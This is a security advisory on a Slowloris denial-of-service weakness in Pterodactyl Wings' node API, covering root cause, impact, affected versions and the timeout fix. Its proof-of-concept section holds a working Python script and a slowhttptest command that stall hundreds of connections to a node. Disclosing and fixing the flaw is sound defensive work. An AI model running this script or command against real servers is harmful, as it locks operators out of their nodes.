HighGHSA-35pp-hxhw-x895

GHSA-35pp-hxhw-x895Missing HTTP read timeouts allow unauthenticated Slowloris denial of service against the node API

Wings builds its internal API server without ReadHeaderTimeout, ReadTimeout, IdleTimeout or WriteTimeout, so anyone who can reach port 8080 can pin hundreds of half-open connections and lock the Panel out of the node.

pterodactyl/wings ·Go ·1.1k ★ ·Published 16 Nov 2026 ·5 min read

Wings, the node daemon of the Pterodactyl game-server panel, builds its internal API server from a bare http.Server literal that sets no ReadHeaderTimeout, ReadTimeout, IdleTimeout or WriteTimeout. Go treats a zero timeout as no timeout. An unauthenticated attacker who can reach the default port 8080 can hold hundreds of connections open by dribbling request headers, exhaust the accept backlog, and lock the Panel out of the node API. The weakness is tracked as GHSA-35pp-hxhw-x895 and is fixed in Wings 1.13.4.

01Background: the Panel-to-node control channel

Pterodactyl splits into two processes. The Panel is the web front end that stores users, servers and permissions; pterodactyl/wings is the daemon that runs on every game node, owns the Docker containers and exposes an HTTP API on port 8080 that the Panel calls to create, start, stop and reinstall servers.

That API is not a public endpoint in the usual sense, but it is routinely reachable over the network. When the Panel runs on a different machine from the node, it has to talk to this port directly. Power state, file operations, backups and console access all ride on a healthy TCP connection to it. A connection-exhaustion bug is therefore an availability problem for the whole node, not for a single server.

02Root cause: an http.Server with every timeout left at zero

In cmd/root.go (line 332), the API server is built with three fields set and nothing else:

s := &http.Server{
    Addr:      api.Host + ":" + strconv.Itoa(api.Port),
    Handler:   router.Configure(manager, pclient),
    TLSConfig: config.DefaultTLSConfig,
}

None of ReadHeaderTimeout, ReadTimeout, IdleTimeout or WriteTimeout is assigned anywhere in the repository. In Go these fields default to zero, and net/http reads zero as no deadline at all. The standard library documentation says so directly: a server without ReadHeaderTimeout is open to Slowloris-style attacks, because each accepted connection parks a goroutine in the header parser with nothing to time it out.

The routing layer does not compensate. The Gin router in router/router.go installs Recovery, request ID, error capture, CORS and logging middleware. It adds no timeout, no rate limit and no cap on concurrent connections at the HTTP level. The only rate limiter in the codebase sits in router_server_ws.go and governs websocket messages after a full handshake, so it never runs for a client still stuck sending headers.

Attack surface: 0.0.0.0:8080 in the reference deployment

The bug needs no misconfiguration to become reachable. config/config.go (lines 78 to 81) binds the API to 0.0.0.0:8080 by default, and docker-compose.example.yml publishes 8080:8080 directly on the host with no reverse proxy in front of it. An operator who follows the example ends up with the daemon listening on every interface.

Restricting the port is not a universal workaround either. The Pterodactyl documentation expects the node API to be reachable from the Panel host, so operators who run the Panel elsewhere cannot simply firewall 8080 off from the network. The same behaviour applies when TLS is enabled on the API, because the attack completes the TLS handshake first and then stalls inside the HTTP header read.

03Proof of concept: 200 to 500 stalled connections

From any host that can reach NODE_IP:8080, open a few hundred TCP connections and send the request line and each header separately, with several seconds of delay between chunks. The connection is never closed by the server because no read deadline exists:

import socket, time

HOST, PORT = "NODE_IP", 8080

def slow_client():
    s = socket.create_connection((HOST, PORT), timeout=10)
    for chunk in [b"GET / HTTP/1.1\r\n", b"Host: node\r\n", b"Connection: keep-alive\r\n"]:
        s.sendall(chunk)
        time.sleep(5)  # no ReadHeaderTimeout exists, so the connection is never closed by the server
    while True:
        time.sleep(30)

slow_client()  # repeat across ~200-500 connections/threads

The same effect comes from slowhttptest -c 200 -k --header-interval=5 http://NODE_IP:8080/. After a few minutes, legitimate calls start timing out or get refused. A curl http://NODE_IP:8080/api/servers with a valid node token is enough to see it. Game servers that were already running continue unaffected. Closing the attacker's connections restores service immediately; Wings does not need a restart.

04Impact: the Panel loses control of the node

The attack costs very little bandwidth and needs no credentials. It happens at the TCP/TLS layer, before Wings parses an HTTP request or checks a JWT, so authentication cannot block it. While it runs, the Panel cannot start, stop or reinstall servers on the affected node.

Players lose console access as well: the websocket route /api/servers/:server/ws still needs a fresh TCP connection to be accepted. New server creation, file management and backup operations through the API fail for the same reason.

Because containers that are already running keep running, this is a partial availability impact on the node rather than a total loss of service. The advisory rates it High.

05Affected versions

PackageAffectedPatched
github.com/pterodactyl/wings (Go module)< 1.13.41.13.4

Wings releases before 1.13.4 are affected. The advisory is GHSA-35pp-hxhw-x895; no CVE ID has been assigned. Reporter Buggs777 notes it is a separate bug from the earlier SFTP handshake denial of service tracked as GHSA-ghrq-5wpp-hxx5, which concerns port 2022 and the SFTP subsystem, not the HTTP API.

06Remediation: set ReadHeaderTimeout and IdleTimeout

The suggested fix is to add the two deadlines the Go documentation calls for directly on the server literal in cmd/root.go: a ReadHeaderTimeout of around 10 seconds, and an IdleTimeout of around 120 seconds. A header read that stalls past the first value is dropped, which removes the primitive entirely.

  • Upgrade to Wings 1.13.4. The patched release carries the timeout configuration; no manual change is needed on nodes that track upstream.
  • Audit custom builds. Any fork or locally modified cmd/root.go should be checked for the same bare http.Server literal, since the omission is easy to reintroduce.
  • Terminate behind a proxy where possible. A reverse proxy with its own header timeouts adds a second layer, but it does not fix deployments where the Panel connects to 8080 directly, which is the documented topology.

07References

AG
Arthur Gurunlian @Buggs777

Vulnerability researcher working on application security, reverse engineering and fuzzing. I find, verify and responsibly disclose bugs in widely used open-source software.